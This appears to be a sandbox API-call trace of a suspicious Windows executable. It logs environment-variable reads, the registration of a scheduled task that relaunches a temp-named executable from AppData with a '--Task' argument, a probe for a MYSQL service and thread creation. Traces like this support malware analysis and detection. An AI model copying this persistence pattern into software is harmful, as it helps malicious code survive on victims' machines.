lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3018088, Size=0x44) returned 0x302f398 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x3010cb0 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3010cb0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x302f398, Size=0x48) returned 0x302f3e8 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1d) returned 0x3010c88 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3010c88, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x302f3e8, Size=0x4c) returned 0x3007d00 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x48) returned 0x302f3e8 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x302f3e8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3007d00, Size=0x50) returned 0x3007d58 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x3033028 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3033028, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3007d58, Size=0x54) returned 0x30213c0 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x30330a8 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x30330a8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x30213c0, Size=0x58) returned 0x3021420 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1b) returned 0x3010cd8 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3010cd8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3021420, Size=0x5c) returned 0x2f891d0 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x3042118 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3042118, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2f891d0, Size=0x60) returned 0x2f892a0 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0044.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x2ffd4c8 [0044.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x2ffd4c8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0044.630] GetLastError () returned 0x0 [0044.630] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2f892a0, Size=0x64) returned 0x2f7c3c8 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1e) returned 0x750e48 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x750e48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2f7c3c8, Size=0x68) returned 0x2f7c4a8 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x41) returned 0x302f398 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x302f398, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2f7c4a8, Size=0x6c) returned 0x2ffec38 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x3033068 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3033068, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2ffec38, Size=0x70) returned 0x301d558 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xf) returned 0x3009140 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3009140, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x301d558, Size=0x74) returned 0x75c1a0 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x16) returned 0x3033088 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3033088, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x75c1a0, Size=0x78) returned 0x75c220 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2a) returned 0x2ffd1f0 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2ffd1f0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0044.631] GetLastError () returned 0x0 [0044.631] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x75c220, Size=0x7c) returned 0x74d820 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0044.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x29) returned 0x2ffd458 [0044.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x2ffd458, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x74d820, Size=0x80) returned 0x74e348 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x15) returned 0x30330c8 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x30330c8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x74e348, Size=0x84) returned 0x75e5c0 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1e) returned 0x750e20 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x750e20, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x75e5c0, Size=0x88) returned 0x75e9b0 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x2a) returned 0x2ffd500 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2ffd500, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x75e9b0, Size=0x8c) returned 0x2fc3f98 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x12) returned 0x30330e8 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x30330e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2fc3f98, Size=0x90) returned 0x2fc3f98 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x3033128 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3033128, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2fc3f98, Size=0x94) returned 0x2fe6168 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0044.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x46) returned 0x302f438 [0044.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x302f438, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0044.632] GetLastError () returned 0x0 [0044.632] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2fe6168, Size=0x98) returned 0x2fe6168 [0044.632] GetLastError () returned 0x0 [0044.632] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0044.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bde4 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18bde4) returned 26 [0044.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bde4 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18bde4) returned 26 [0044.635] GetLastError () returned 0x0 [0044.635] ITrigger:put_StartBoundary (This=0x2700c00, StartBoundary="2019-07-08T16:48:24") returned 0x0 [0044.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3009158 | out: hHeap=0x670000) returned 1 [0044.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3011d50 | out: hHeap=0x670000) returned 1 [0044.635] IUnknown:Release (This=0x2700c00) returned 0x1 [0044.635] ITaskDefinition:get_Actions (in: This=0x2700950, ppActions=0x18c3b0 | out: ppActions=0x18c3b0*=0x27009c8) returned 0x0 [0044.635] IActionCollection:Create (in: This=0x27009c8, Type=0, ppAction=0x18c39c | out: ppAction=0x18c39c*=0x2700c98) returned 0x0 [0044.635] IUnknown:Release (This=0x27009c8) returned 0x1 [0044.635] IUnknown:QueryInterface (in: This=0x2700c98, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18c3b8 | out: ppvObject=0x18c3b8*=0x2700c98) returned 0x0 [0044.635] IUnknown:Release (This=0x2700c98) returned 0x2 [0044.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x3009158 [0044.636] IExecAction:put_Path (This=0x2700c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 0x0 [0044.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3009158 | out: hHeap=0x670000) returned 1 [0044.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x3009158 [0044.636] IExecAction:put_Arguments (This=0x2700c98, Arguments="--Task") returned 0x0 [0044.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3009158 | out: hHeap=0x670000) returned 1 [0044.636] IUnknown:Release (This=0x2700c98) returned 0x1 [0044.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x3009158 [0044.636] ITaskFolder:RegisterTaskDefinition (in: This=0x2700920, Path="Time Trigger Task", pDefinition=0x2700950, flags=6, UserId=0x18be58*(varType=0x0, wReserved1=0x301, wReserved2=0xc36c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x670000), password=0x18be68*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18be7c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18c384 | out: ppTask=0x18c384*=0x2700d18) returned 0x0 [0044.690] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3009158 | out: hHeap=0x670000) returned 1 [0044.690] TaskScheduler:IUnknown:Release (This=0x2700920) returned 0x0 [0044.690] TaskScheduler:IUnknown:Release (This=0x2700950) returned 0x0 [0044.690] IUnknown:Release (This=0x2700d18) returned 0x0 [0044.690] CoUninitialize () [0044.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30163e0 | out: hHeap=0x670000) returned 1 [0044.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016318 | out: hHeap=0x670000) returned 1 [0044.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016188 | out: hHeap=0x670000) returned 1 [0044.691] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x751208 [0044.691] OpenServiceW (hSCManager=0x751208, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3017f20 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301cbc8 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301d128 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3011520 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3011788 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30119f0 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3011c58 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022060 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30222c8 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022530 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022798 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022a00 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022c68 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3022ed0 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023138 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30233a0 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023608 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x2f476b0 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x120) returned 0x301ce30 [0044.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f476b0 | out: hHeap=0x670000) returned 1 [0044.692] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x120) returned 0x2f6f878 [0044.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x752d58, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0xb0) returned 0x5ac [0044.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ce30 | out: hHeap=0x670000) returned 1 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x30421a8 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023870 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023ad8 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023d40 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3023fa8 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3024210 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3024478 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x30246e0 [0044.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x3024948 